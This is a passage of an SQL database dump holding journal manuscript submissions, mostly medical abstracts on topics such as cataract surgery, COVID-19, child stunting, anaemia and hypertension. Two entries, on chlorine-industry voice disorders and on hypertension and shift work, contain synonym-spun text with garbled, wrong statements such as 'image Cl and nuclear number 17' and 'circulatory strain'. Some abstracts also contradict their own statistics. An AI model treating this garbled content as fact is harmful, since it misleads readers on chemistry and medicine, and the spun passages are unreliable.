scleral tunnel for both incisions.\r\n\r\nResult: The age of the groups was 58–83 years with a mean of 70.5 years. The gender distribution was 10.7% males and 89.3% females, but the p-value showed non-significant p-value between the gender distribution and both the tear and detachment.\r\n\r\nGroup A, endothelial detachment in the main incision and tear at the side ports.\r\nGroup B, endothelial tear both side ports and main incision.\r\nGroup C, neither tear nor detachment happened in almost all cases.\r\n\r\n\r\nConclusion: The study has shown that combined Advanced PEX and DM carries a very high risk for endothelial damage; therefore, scleral tunnel instead of all the corneal incisions provides a novel approach to prevent endothelial tear/detachment in such cases.','Pseudoexfoliation (PXF) cataract surgery, Phacoemulsification, diabetic cataract surgery, Endothelial tear, Endothelial detachment.',388,'','2021-09-17',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5779,6998,45,0,'','VIROLOGICAL FEATURES, DIAGNOSIS AND TREATMENT: A REVIEW OF COVID-19','',19,3,'','A new coronavirus, designated COVID-19, emerged in Wuhan, China, in December 2019, causing respiratory, digestive and systemic problems that affect human health. In symptomatic patients, the clinical manifestations of the disease usually begin within a week, and consist of fever, cough, nasal congestion, fatigue and airway problems, which can lead to pneumonia. The virus also appears in patients who do not have symptoms, and it is quite difficult to quantify them. In this work, a review of the virological characteristics of COVID-19 has been carried out, both of its clinical sign, its diagnosis and its treatment.','COVID-19; pandemic; clinical sign; diagnosis; treatment.',685,'','2021-09-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5757,6978,45,0,'','A COMPARATIVE STUDY OF MATERNAL AND CHILD HEALTH OUTCOMES OF PREGNANT WOMEN LIVING WITH AND WITHOUT DISABILITY','',14,3,'','Objective. To assess the maternal and child health outcomes of pregnant women living with and without disability in Kakamega County, Kenya. Design. A population-based prospective case control study. Setting. The study was done in 12 Sub County in Kakamega County Sample. The study used a multistage probability sampling design to identify the sub counties that would be case and control groups and purposeful and snow balling sampling technique to identify the pregnant women living with disability who in turn identified an able-bodied pregnant woman that she is accessible to (n = 196) Analysis. Data was analyzed through descriptive characteristic in which central tendencies and repeated measures ANOVA. Main outcome measures. Maternal and child outcomes before and after birth Results. Results for maternal outcomes 12 weeks into pregnancy showed that The study found that majority of the able-bodied (91.2%, n=31) and the disabled women (95.1%, n=98) did not have any vaginal bleeding, did not have severe abdominal pains (76.5%, n=26 and 84.5%, n=87), did not have paleness (94.1%, n=32 and 91.3%, n=94), neither severe headache or foul smell (88.2%, n=30 and 83.5%, n=94).  The findings also showed that there were no significant differences in maternal outcomes amongst schedules one, two and three (f (1,135) =.256, p=.614,È 2=0.002).In addition, there were significant differences between the able bodied and WLWD in a linear combination of maternal outcome observations from birth up to six weeks after delivery(Greenhouse-Geisser 1, 133 =.117, p=0.03, È 2=0.246). There were also significant differences between the able bodied and disabled women in a linear combination of child outcome observations from birth up to six weeks after birth (f (1,133) =7.183, p=.008, È 2=0.076) Conclusion. The study found out that maternal healthcare services lacked the flexibility and responsiveness to meet the unique maternity care needs of WLWD. The study recommends that further research should target the experience, use of services and needs of women with different and multiple disabilities from diverse groups, using qualitative as well as quantitative methodologies.','Disability, Maternity care, Pregnancy, Birth, Maternity survey',685,'','2021-09-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5761,6980,45,0,'','IMPACT OF PELVIC FLOOR MUSCLE EXERCISES TO REDUCE THE STRESS URINARY INCONTINENCE AMONG MENOPAUSAL WOMEN IN SELECTED AREAS OF BHUBANESWAR ODISHA”.','',14,3,'','ABSTRACT\r\nWomen are the doors to this world. Women are not passing clouds but last for long time behind the success of every person like the everlasting sunshine. No one is complete without woman. Every individual in some part of their life have a women to compliment in the form of mother, sister, wife, aunt and grandmother. These women suffer from one or the other health issues during their life time, of which majority come across the problem called urinary incontinence (UI). Urinary Incontinence (UI) is defined as ‘the complaint of any involuntary leakage of urine’ (Abrams et al 2002). Stress urinary incontinence is the leakage of urine with activities that increase pressure inside abdomen. It is a part of ageing. [39]\r\n\r\nMETHODS: \r\nA True experimental research study where experimental and control group pre test – post test only design was used to assess the effectiveness of video assisted teaching module on pelvic floor muscle exercises to reduce the stress urinary incontinence among menopausal women, conducted at Missionary Charity of Mother Teresa Home, Satyanagar, Bhubaneswar, and Odisha for experimental group, and at Chakeisihani; ward no-5, Mancheswar, Bhubaneswar, Odisha for control group. The data were collected from 30 menopausal women by simple random sampling technique for experimental group and 30 for control group by using modified stress urinary incontinence scale.\r\n\r\nRESULTS:\r\n‘t’ test & chi square test has been done for descriptive & inferential statistics.\r\nIn experimental group the overall pretest mean score was 20.1±4.3, where as in post test mean score was 14.2±4.3 with mean difference 5.94 and paired ‘t’ test value was 13.85, higher than  tabulated value (2.05) with df=29 at 5% level of significance which was highly significant. Hence the null hypothesis is rejected and statistical hypothesis is accepted.\r\nIn control group the overall pretest mean score was 17.8±3.7, where as in post test mean score was 18.6 ± 3.7, with mean difference 0.8 and paired ‘t’ test value was 3.9, with df=29 at 5% level of significance.\r\n\r\n\r\nCONCLUSION:\r\nFrom the findings of the study it is concluded that video assisted teaching module on pelvic floor muscle exercises has found effective for reducing the stress incontinence among menopausal women.','STRESS; URINARY INCONTINENCE; MENOPAUSAL WOMEN',388,'','2021-09-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5764,6982,45,0,'','Relation of food addiction in overweight/obesity, depression and impulsivity: A systematic review and meta-analysis. ','',15,3,'','Objective: The aim of the present study was to demonstrate the relationship between overweight/obesity, depression, impulsivity, and food addiction (FA). Design and Main outcome measures: A systematic review and meta-analysis were carried out through the PRISMA guidelines using databases PubMed, Science direct, and Scielo, with English articles published from 2009 to 2019.Cross-sectional and experimental studies examining the association between overweight/obesity, FA, and psychiatric disorders. Results: A total of 32 studies were included for systematic review, and 12 studies used for meta-analyses. Two authors independently extracted the data about nutritional status, YFAS scale, FA prevalence, other eating disorders, and depression and impulsivity outcomes. The risk of bias was evaluated in the Revman 5 software and a low risk of bias was observed. Conclusion: These studies found evidence that FA can be associated with overweight and obese. There was a greater association between FA and symptoms of depression and impulsivity, especially in overweight/obesity.','Mental Disorders; Compulsive Eating; Body Weight; Addiction, Eating Disorders.',2879,'','2021-09-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5768,6987,45,0,'','LAVENDER’S THERAPY TO DECREASE ANXIETY SCALE PATIENT WITH PRE-MASTECTOMY SURGERY IN THE OPERATION THEATRE MURNI TEGUH MEMORIAL HOSPITAL','',14,3,'','Breast cancer is a group of abnormal cells in the breast that continue to grow multiply. Mastectomy is one of the options for surgical action in breast cancer. In patients who will undergo mastectomy, all breast tissue and axillary lymph nodes are suspected. Surgery will cause psychological disorders in the form of anxiety that can lead to complications during surgery. One way to reduce anxiety is through the provision of aromatherapy, especially aromatherapy lavender, which is known to be sedative. This quantitative study aims to determine the effect of aromatherapy on the scale of anxiety in pre mastectomy patients in the surgical room of the Murni Teguh Memorial Hospital. The design in this study was to use a quasi-experimental research design with the method of one group pre and post test without control. Determination of the sample size in this study using purposive sampling with 15 respondents. The instrument used to assess anxiety is the Hamilton Anxiety Rating Scale (HARS). Data from the research results were analyzed by statistical tests, namely the Wilcoxon test. The results showed that there was an effect of lavender flower aromatherapy on the decrease in anxiety scale in pre-mastectomy patients with a value (p = 0,001) <0.05, which means that after intervention the patient pre mastectomy experienced a decrease in anxiety scale than before intervention. The results of this study are expected to be used as an option for intervention by health workers especially the nursing profession to deal with patients\' anxieties, especially in pre-mastectomy patients.','breast cancer, mastectomy, anxiety, aromatherapy and lavender flowers',685,'','2021-09-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5729,6954,45,0,'','Prevalence and Predictors of Stunting among children of age between 6 to 23 months in four districts of Wolaita zone, Southern Ethiopia','',14,3,'','Background: Stunting is one of public health problem which causes morbidity and mortality in the first two years of life. It is used to assess nutritional status of children by measuring their length/height and age. The purpose of this study was to assess prevalence and factors associated with stunting among children of ages between 6 to 23 months in four districts of Wolaita Zone, Southern Ethiopia. Methods: Community based cross sectional study was employed among children of ages between 6 to 23 months in January 2020. A multistage sampling technique was used to select the study participants.  A total of 767 participants were included in our study. Data were entered into Epi data version 3.1 and exported to SPSS 20.0 statistical software for analysis. Bivariate and multivariate analysis was done to assess factors associated with stunting. Odds ratio with 95% CI was used to identify independent predictors of stunting. \r\nResult: Among 767 children, 759 were participated in the study with response rate of 98.9%. The prevalence of stunting in our study was 71.5%. Children born from mothers whose age were between 25-34 years and 35-45 years were 2.3 times; [AOR=2.3, (95% CI = 1.37, 3.86)] and 3.09 times; [AOR= 3.09, (95% CI = 1.55, 6.18)] more likely developed stunting than mothers whose age were between 15-24 years respectively. Children born from mothers who did not attend formal education were 2.45 times; [AOR=2.45,(95% CI = 1.25, 4.83)] more likely developed stunting than mothers who attended formal education. Children whose age were between 6-12 months and 12-18 months were 10.12 times; [AOR= 10.12, (95% CI = 6.34, 16.4)] and 6.16 times; [AOR= 6.16, (95% CI = 3.92, 9.68)] more likely developed stunting than children whose age were between 19-24 months respectively. Children who ever sick within 2 weeks prior to data collection were 1.68 times; [AOR=1.68,(95% CI 1.15,2.45)] more likely developed stunting than those who ever not sick within 2 weeks; however, those who fed cholesterol were 49% less likely developed stunting than their counter part; [AOR= 0.61 (95% CI = 0.37,0.98)]. Children who were delivered at home were 2.38 times; [AOR=2.38, (95% CI 1.51,3.75)]  more likely developed stunting than those delivered at health facility; however, those whose mother ever got postnatal care were 49% less likely developed stunting than those whose mother ever not got postnatal care after delivery; [AOR= 0.61 (95% CI = 0.41,0.91)]. \r\nConclusion: The prevalence of stunting in study area is high. Maternal age, maternal education, child’s current age, child sickness, cholesterol feeding practice,  place of delivery and postnatal care utilization were independent predictors for child stunting. Thus concerned body working on child health should consider these factors to reduce the burden of stunting.  \r\n','Stunting, age of 6 to 23 months, Wolaita zone, Southern Ethiopia',3824,'','2021-09-18',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5659,6872,45,0,'','Assessment of Anaemia and associated risk factors among Women child bearing ages in selected Health Centres in Addis Ababa, Ethiopia','',3,3,'','Abstract \r\nBackground: Anaemia is a major public health problem and a significant health concern globally. It affects all age groups of people and is particularly more prevalent in women of childbearing age in developing countries. This study was conducted to determine the anaemia and associated risk factors among women of child bearing ages who received maternal health services in selected Health Centres, Addis Ababa, Ethiopia.\r\nMethods: Facility based cross sectional study was conducted from May to October 2017 The study recruited 332 women of child bearing ages with age range of 16-49 years. Socio-demographic data of study participants and associated risk factors were collected by pre structured questionnaire. Venous blood was analysed to determining haemoglobin value and Red Blood Indices, Helicobacter pylori stool antigen test kit was used to assess Helicobacter pylori infection, fresh faecal stool specimen examination (wet smear) and formal-ether concentration technique were done to examine intestinal parasites, controlling for hookworm infection to assess association with anaemia among study subjects. Data was summarized using frequency, tables and figures and analysed using SPSS version 19.0. Using odds ratio (OR) with a 95% Confidence Interval (CI) were calculated. P-Value less than 0.05 were taken as statistically significant. Bivariate and Multivariate logistic regression were used to analyse associations between anaemia and associated risk factors.\r\n\r\n\r\n\r\nResults: The overall burden of anaemia among study participants in the study area was 18.4%.  The majority of anaemic cases 67% (41/61) were of the mild type (Hgb 10.0–10.9g/d1) followed by 29.5% cases of moderate anaemia (7.0–9.9g/dl) and 3.3% severe anaemia (Hgb< 7.0g/ dl). Mean haemoglobin was 13.35(±1.52), 95% CI: 13.19-13.52 with Interquartile range of 1.875. Mean (±SD) for mean corpuscular volume (MCV), mean corpuscular haemoglobin (MCH), and mean corpuscular haemoglobin concentration (MCHC) was 91.90(±5.87)fL and 28.04(±2.69)pg, 30.13(±1.99)g/dL, respectively. Multivariate logistic regression revealed that pregnant woman [AOR=0.321, 95 % CI: 0.166–0.620, P=0.001] and Helicobacter pylori infection [AOR=0.178, 95 % CI: 0.086–0.371, P<0.001] were statistically significant associated with increased risk of anaemia. No statistical significant association was found with sociodemographic variables, age socio-demographic (age), socio-economic (marital status, education level, occupation), behavioural characteristics (habits of smoking, alcohol drinking, Chat chewing, drinking tea and coffee) and other clinical relevant data (parity, gravidity, gestational period, history of gastrointestinal illness). \r\nConclusions: In the present study, the prevalence of anaemia was low when compared with the previous studies carried out in different countries including Ethiopia. More should be done in respect to the importance of regular visit to maternal care centres and health education promotion programs to succeed more,  Hence clinician and other responsible body should give a special attention for women of child bearing ages who have been suffered with anaemia. \r\n','Keywords: Anaemia, Helicobacter Pylori Stool Antigen test, women of child bearing ages, Addis Ababa, Ethiopia',685,'','2021-09-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5437,6633,45,0,'','Mind and Machine: Two sides of the same Coin?','',7,3,'','The human brain has been the source of inspiration behind the birth and growth of Artificial Intelligence. The achievements in the diverse domains of AI have stemmed from replication of brain circuits. Almost as if a full circle, AI which had been inspired from the brain, has also found several applications in the field of Neuroscience and understanding the brain. In this article, we explore these two domains individually, as well as make an attempt to elucidate how closely correlated they actually are.','Artificial Intelligence, Neural networks, Machine Learning, Brain, Signal processing, Neuroscience\\r\\n',3829,'','2021-09-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5466,6668,45,0,'','Chlorine manufacturing industry and Work-related voice disorders','',17,3,'','Employee exposure to harmful dust, heat, noise and hazardous chemicals might cause several occupational diseases and voice disorder is one of them.  There is a limited research on vocal health and safety in workplaces. In addition, there is a lack of awareness among employees and employers about vocal health and safety in the working environment. Work-related voice disorders might cause sick leaves, stress, low productivity and in severe cases a permanent damage to the voice. Our study aimed to detect work-related voice disorders in chlorine manufacturing industry, and to improve vocal health and safety among employees in industrial workplace. \r\nFifty employees in chlorine manufacturing industry were examined using the occupational health assessment followed by a voice assessment.The study identified the influencing factors for work-related voice disorders in chlorine manufacturing industry such as level and time of exposure and rest time during work. The types of voice disorders and the perceptual vocal characteristics were identified for each employee as well as the acoustic data of the voice. In addition, the effects of work-related voice disorders on the working environment were studied. \r\nThe aim of this presentation is to highlight the importance of examining vocal health and safety among employees in industrial work-places, and referring those with occupational voice disorders to voice therapy. Employees who are at risk of occupational voice disorder can follow a preventive vocal hygiene program and employers might consider enhancing the working environment and the level of awareness about vocal health and safety and following rules and regulations of health and safety in industrial work-place.\r\n\r\nChlorine is a substance component with the image Cl and nuclear number 17. The second-lightest of the incandescent light, it shows up among fluorine and bromine in the occasional table and its properties are for the most part middle of the road between them. Chlorine is a yellow-green gas at room temperature. It is an amazingly responsive component and a solid oxidizing specialist: among the components, it has the most noteworthy electron proclivity and the third-most noteworthy electronegativity on the Pauling scale, behind just oxygen and fluorine. \r\n\r\nThe most well-known compound of chlorine, sodium chloride (regular salt), has been known since old occasions. Around 1630, chlorine gas was first orchestrated in a concoction response, however not perceived as an on a very basic level significant substance. Carl Wilhelm Scheele composed a portrayal of chlorine gas in 1774, assuming it to be an oxide of another component. In 1809, scientific experts recommended that the gas may be an unadulterated component, and this was affirmed by Sir Humphry Davy in 1810, who named it from Ancient Greek: χλωρός, romanized: khlôros, lit. \'light green\' in view of its shading. \r\n\r\nIn light of its incredible reactivity, all chlorine in the Earth\'s covering is as ionic chloride mixes, which incorporates table salt. It is the second-most inexhaustible halogen (after fluorine) and twenty-first most plenteous substance component in Earth\'s outside layer. These crustal stores are by the by overshadowed by the enormous stores of chloride in seawater. \r\n\r\nEssential chlorine is financially created from salt water by electrolysis, transcendently in the chlor-soluble base procedure. The high oxidizing capability of natural chlorine prompted the improvement of business dyes and disinfectants, and a reagent for some procedures in the concoction business. Chlorine is utilized in the assembling of a wide scope of buyer items, around 66% of them natural synthetic substances, for example, polyvinyl chloride, and numerous intermediates for the creation of plastics and opposite final results which don\'t contain the component. As a typical disinfectant, natural chlorine and chlorine-creating mixes are utilized all the more legitimately in pools to keep them spotless and clean. Essential chlorine at high focuses is amazingly hazardous and toxic for every single living being. As a concoction fighting operator, chlorine was first utilized in World War I as a toxin gas weapon. \r\n\r\nAs chloride particles, chlorine is important to every known specie of life. Different kinds of chlorine mixes are uncommon in living life forms, and falsely created chlorinated organics go from latent to harmful. In the upper climate, chlorine-containing natural particles, for example, chlorofluorocarbons have been involved in ozone exhaustion. Little amounts of natural chlorine are produced by oxidation of chloride to hypochlorite in neutrophils as a major aspect of the insusceptible reaction against microorganisms.\r\nThe most well-known compound of chlorine, sodium chloride, has been known since antiquated occasions; archeologists have discovered proof that rock salt was utilized as right on time as 3000 BC and saline solution as ahead of schedule as 6000 BC. Its significance in food was very notable in old style relic and was here and there utilized as installment for administrations for Roman officers and military tribunes.\r\n','',643,'','2021-09-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5467,6669,45,0,'','High Blood Pressure ( HBP ) and Shift Work ( SW ) : An assessment of the French railways','',17,3,'','Hypertension is named essential (basic) hypertension or optional hypertension. About 90–95% of cases are essential, characterized as hypertension because of vague way of life and hereditary factors. Lifestyle factors that expansion the hazard remember abundance salt for the eating routine, overabundance body weight, smoking, and liquor use. The staying 5–10% of cases are arranged as auxiliary hypertension, characterized as hypertension because of a recognizable reason, for example, incessant kidney sickness, narrowing of the kidney corridors, an endocrine issue, or the utilization of anti-conception medication pills. \\r\\n\\r\\nCirculatory strain is communicated by two estimations, the systolic and diastolic weights, which are the greatest and least weights, respectively. For most grown-ups, ordinary pulse very still is inside the scope of 100–130 millimeters mercury (mmHg) systolic and 60–80 mmHg diastolic. For most grown-ups, hypertension is available if the resting pulse is perseveringly at or over 130/80 or 140/90 mmHg. Different numbers apply to children. Ambulatory circulatory strain checking over a 24-hour time frame shows up more exact than office-based circulatory strain measurement.\\r\\n\\r\\nWay of life changes and drugs can bring down circulatory strain and reduction the danger of wellbeing complications. Lifestyle changes incorporate weight reduction, physical exercise, diminished salt admission, decreasing liquor consumption, and a sound diet. If way of life changes are not adequate at that point pulse meds are used. Up to three prescriptions can control pulse in 90% of people. The treatment of decently high blood vessel pulse (characterized as >160/100 mmHg) with meds is related with an improved life expectancy. The impact of treatment of circulatory strain between 130/80 mmHg and 160/100 mmHg is less clear, with certain surveys discovering benefit and others finding indistinct benefit. High circulatory strain influences somewhere in the range of 16 and 37% of the populace globally. In 2010 hypertension was accepted to have been a factor in 18% everything being equal (9.4 million all around)\\r\\n\\r\\nHypertension is infrequently joined by side effects, and its distinguishing proof is for the most part through screening, or when looking for social insurance for a disconnected issue. A few people with hypertension report cerebral pains (especially at the rear of the head and toward the beginning of the day), just as dazedness, vertigo, tinnitus (humming or murmuring in the ears), modified vision or blacking out episodes. These indications, in any case, may be identified with related uneasiness instead of the hypertension itself.\\r\\n\\r\\nOn physical assessment, hypertension might be related with the nearness of changes in the optic fundus seen by ophthalmoscopy. The seriousness of the progressions common of hypertensive retinopathy is reviewed from I to IV; grades I and II might be hard to differentiate. The seriousness of the retinopathy corresponds generally with the length or the seriousness of the hypertension. \\r\\n\\r\\nHypertension with certain particular extra signs and side effects may propose optional hypertension, for example hypertension because of a recognizable reason. For instance, Cushing\\\'s disorder much of the time causes truncal stoutness, glucose narrow mindedness, moon face, a protuberance of fat behind the neck/shoulder (alluded to as a wild ox mound), and purple stomach stretch marks. Hyperthyroidism often causes weight reduction with expanded hunger, quick pulse, swelling eyes, and tremor. Renal course stenosis (RAS) might be related with a limited stomach bruit to one side or right of the midline (one-sided RAS), or in the two areas (two-sided RAS). Coarctation of the aorta much of the time causes a diminished circulatory strain in the lower furthest points comparative with the arms, or deferred or missing femoral blood vessel beats. Pheochromocytoma may cause sudden (\\\"paroxysmal\\\") scenes of hypertension joined by migraine, palpitations, pale appearance, and extreme perspiring.\\r\\n','',643,'','2021-09-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(5389,6578,45,0,'',' High blood pressure from ALUCAM group’s workers: the impact of the activity ','',15,3,'','Introduction \r\nThe recrudescence of new cases of high blood pressure (HBP) and its complications are very worrying, especially since the high blood pressure seems more present among the workers. the aim of the study was to evaluate the impact of the activity on the occurrence of high blood pressure among ALUCAM group’s workers. \r\nMethod \r\nThis is an analytical, descriptive and cross-sectional study of all workers in the ALUCAM group from Cameroon. It was conducted between January and September 2013. We collected socio-professional data and assessed psychosocial risk using the Karasek model. The data were processed from Epi-info version 3.5.4 of July 30, 2012. The Chi-square statistical tests were used to compare our results (P <0.05). \r\n','High blood pressure, Activity, stress at workplace, obesity High blood pressure from ALUCAM group’s workers: the impact of the activity ',3430,'','2021-09-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'970','phanindra_k@omicsgroup.co.in',4,0,0,0,NULL,'2021-09-20',1),(5390,6580,45,0,'','HBP and SHIFT WORK in SNCF','',15,3,'','Shiftwork or Nightwork ( SW ) is associated with many\r\nadverse effects, notably cardio-vascular ones, and is\r\nencreasing in SNCF ( French Railways ).Agents undergo a medical examination once a year if they are SW or every two years for\r\nthe others.\r\nAgents working part of the night from midnight to six o’clock in the morning more than 50\r\ntimes a year are in the SW class, the others are in the daytime category.\r\n“Morbidity” is the number of agents with medical pathologies ( Chronic diseases, HBP or\r\nnot, No surgery or traumatic accident ) which are not cured or beginning a new disease\r\nduring the assessment period.\r\n“New Pathologies” refers the number of agents with the same kind of pathology (gies )\r\noccurring during the same period.\r\nHBP is defined by a systolic Arterial Tension > 150 and/or diastolic > 90 mm Hg., controlled\r\nby six measures with OMRON automatic device, the last four measures using “cardiac\r\ncoherence” method to avoid measuring stress.\r\nEvery smoking agent has been noticed with Pack-Year consumption and Sporting activities\r\nif he does sport more than two hours a week.\r\nMonovaried statistic investigation is realized with the software “R” .','',2879,'','2021-09-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'970','phanindra_k@omicsgroup.co.in',4,0,0,0,NULL,'2021-09-20',1),(5610,6821,91,0,'','TO STUDY EFFECT OF TELMISARTAN ON HYPERTENSION                        ','',14,3,'','ABSTRACT \r\nObjectives: Elevated blood pressure in the early morning is associated with increased cardiovascular risk. It is crucial that antihypertensive medication controls blood pressure to minimize this risk at this time. The ARB with the longest half-life is telmisartan. Its potential to reduce blood pressure in the risky early morning hours has been demonstrated in numerous clinical studies using Ambulatory blood pressure monitoring. \r\nMaterial and Methods: This study was conducted during the period from the December 2016 until the end of November 2019 in Muzaffarnagar Medical College, Muzaffarnagar, U.P., India.. A total of 100 subjects of hypertension who were treated with telmisartan 40 mg for six weeks having an age group of 40-65 years were included.\r\nResult: The results show comparison of blood pressure between without treatment and with telmisartan 40 mg for six weeks. The mean levels of SBP and DBP in control group without treatment were 176.14 ± 12.06 mmHg and 94.26 ± 8.32 mmHg. On the other hand in study group with telmisartan 40 mg for six weeks subjects were 128.08 ± 10.18 and 84.22 ± 6.14 respectively. It is evident from data that telmisartan 40 mg significantly decreased blood pressure. \r\nConclusions: Angiotensin receptor blocker (ARBs) like telmisartan has been used to normalize the blood pressure. Further studies with large number of subjects with longer duration of follow-up are required to validate these observations. 					 \r\n','KEYWORDS  Hypertension ,ARB (Angiotensin Receptor Blocker) ,Telmisartan',2231,'','2021-09-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','accept',0,'','',4,0,0,0,NULL,'2021-09-20',1),(4793,6007,45,0,'','TRIMESTER RELATED REFERENCE INTERVAL LIMITS FOR HEMATOLOGICAL PARAMETERS FOR PREGNANT WOMEN OF TAITA-TAVETA COUNTY, KENYA','',14,3,'','\r\nHematological parameters reference intervals for pregnant women are different from those of non-pregnant women and are used to assess their health status; they vary in different populations. There is therefore a need for medical laboratories to develop local reference intervals for hematological parameters using the local population. This study was therefore carried out in order to develop 95% reference intervals for hematological parameter for pregnant women from Taita-Taveta County, Kenya. This was a cross-sectional study design involving 296 participants, 124 in their second trimester and 172 in their third trimester recruited while attending their antenatal clinics at Moi subcounty hospital, Voi, from the 16th week of pregnancy. Five milliters of venous blood was drawn from each of the participants and subjected to full hemogram analysis using a Coulter Counter Analyser (mindray 5300) standardized by a 4C plus control blood. Reference intervals were developed using the EP28 A3c guide. Trimester independent reference intervals were developed for RBC (x1012/L), HB (g/dL), MCH (pg), MCHC (g/dL), MCV (fL), RDW-CV (%), RDW-SD (%), WBC (x109/L), NEU (x109/L), NEU (%), LYM (x109/L), LYM (%), MON (x109/L), MON (%), BAS x109/L, EOS (x109/L), EOS (%), PLT (109/L), PCT (%), PDW (%) and MPV (fL) and trimester dependent reference intervals were developed for BAS (x109/L), BAS % and PVC (%). In conclusion, the developed trimester specific reference intervals for hematological parameters which are different from those reported in medical literature can be adopted and used for diagnosing diseases associated with pregnancy in Taita-Taveta-County, Kenya. \r\n','Hematological parameters; trimester specific; reference intervals; pregnant women; Taita-Taveta County',3691,'','2021-09-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','Accepted',0,'','',4,0,0,0,NULL,'2021-09-20',1),(10636,11251,73,0,'','Alcohol Consumption Impedes Neuroplasticity and Functional Recovery After Stroke','',14,3,'','Background: Recovery after stroke depends upon neurogenesis, angiogenesis and synaptogenesis known as neuroplasticity. Neurotrophins play very important role in neuroplasticity but it can be affected by several risk factors such as diabetes mellitus (DM), hypertension, smoking and alcohol consumption. In this study we tried to find out the most significant risk factor which severely affect stroke outcome and neuroplasticity.\\\\r\\\\nSubjects and methods: In this study 208 patients with stroke were recruited and divided into two groups according to presence and absence of risk factors such as diabetic- non diabetic; hypertensive- non hypertensive; with and without both DM+ hypertension and alcoholic- non alcoholic. We used Functional Independence Measure (FIM) Scale to assess functional recovery and Serum Brain Derived Neurotrophic Factor (S. BDNF) to assess neuroplasticity in each patient. \\\\r\\\\nResults: Alcohol is the most significant risk factor which affect the stroke outcome severely. Non- alcoholic patients showed better recovery and higher serum BDNF levels than alcoholic patients. The improvement was highly significant both after two weeks (p= .025) and at six months (p= .001). Lower serum levels of BDNF were observed in group 1 at admission (Group. 1= 8.51±4.26 ng/ml; group 2= (10.34±3.96 ng/ml, p= .001). FIM score in alcoholics 34.66± 9.81 to 60.33±15.31 and in non- alcoholics 39.48±19.30 to 68.24±20.29, p= .03). Alcohol was found a significant risk factor for poor outcome (F (2.5), p= .023). \\\\r\\\\nConclusion: These findings suggest us that alcohol slows down the process of neuroplasticity and is a risk factor for poor outcome after stroke. \\\\r\\\\n','Key- Words: Stroke, alcohol, neuroplasticity, outcome',338,'','2021-09-20',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-09-21',1),(10516,11162,85,0,'','“From doing to knowing”: medical students’ experiences of working as Healthcare Assistants','',3,3,'','Doctors need to develop more person-centred care.  Medical students need to develop the \r\nskills and attributes needed to deliver such care, including empathy.  Providing medical students with the opportunity to experience working as Healthcare Assistants (HCAs) has been shown to help equip students.  This study examined medical students’ experiences of completing a project where they briefly worked as HCAs.  The project allowed participants to experience a new dimension of patient care whereby learning by “doing” curriculum-based, structured medicine evolved to a deeper level of “knowing” patients, the HCA role and the wider team. Working as HCAs enabled participants to develop sustainable skills important for their future role as doctors able to deliver person-centred, holistic care as part of interprofessional teams.   \r\n\r\n',': healthcare assistant, empathy, person-centred care, medical students, doctors, curriculum',4068,'','2021-09-15',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','',0,'','',4,0,0,0,NULL,'2021-09-21',1),(3650,4770,45,0,'','A success story: how Botswana is winning the war against Coronavirus','',16,3,'','As at March 20, 2020, the four nations bordering Botswana; Namibia, South Africa, Zambia and Zimbabwe, had recorded outbreaks of the Coronavirus, without a single case in Botswana. There is low probability of an outbreak of COVID-19 in Botswana considering the nation’s preparedness through prevention strategies and strict adherence to WHO directives on COVID-19. Botswana has many success stories; their stable economy, peaceful and sustained democracy, long history of respect for human and animal rights etc. Another of Botswana’s success stories, which the rest of the world can emulate is their ability to maintain zero-case of Coronavirus in the midst of the pandemic. In this article the author articulates public health structures and systems implemented by Batswana and the Botswana government, which may have helped to maintain a COVID-19-free nation. Primary data was sourced through direct observation, phone calls, e-Mails and minimal face to face interview. Secondary data was sourced from relevant published and un-published documents. Speculations linking the COVID-19 outbreak to bioterrorism or divine punishment on mankind were debunked using reviews of scientific evidences. COVID-19 is known to thrive in temperatures below 26 degrees Celsius. The author projects that winter season in Botswana, (May to August) with temperatures between minus to 23 degrees Celsius, may favor outbreak of the virus. Consequently, author recommends some personal and national preparedness strategies for Batswana and the government to help maintain a COVID-19-free nation.',' Botswana,  Coronaviruses, COVID-19, Bioterrorism,  WHO directives, Quarantine, Isolation ',685,'','2021-09-21',NULL,'Submitted',19,0,'0000-00-00','',1,0,'1','Accepted',0,'','',4,0,0,0,NULL,'2021-09-21',1),(3681,4813,45,0,'','Prevalence, Determinants and Prevention of Type 2 Diabetes Mellitus (T2DM) in Arabic countries: A systematic Review Study ','',15,3,'','Abstract Introduction: Type 2 Diabetes Mellitus (T2DM) is becoming one of the main highlighted issues by the World Health Organization (WHO) especially concerning people in developing countries. In the Arabic countries like other developing countries, the prevalence of T2DM is increasing. This systematic review aimed to determine the prevalence, determinants and risk factors as well as preventative strategies used for T2DM amongst Arabic nations.  Methodology: This systematic review was conducted with the usage of 5 different electronic databases which includes Scopus, Google scholar, CINAHIL, Medline, and PubMed. Articles published between 2000 to 2015 and in English language were included in this study. The keywords that were used to search in the databases included “Type 2 Diabetes Mellitus” AND “prevention” AND “prevalence” AND 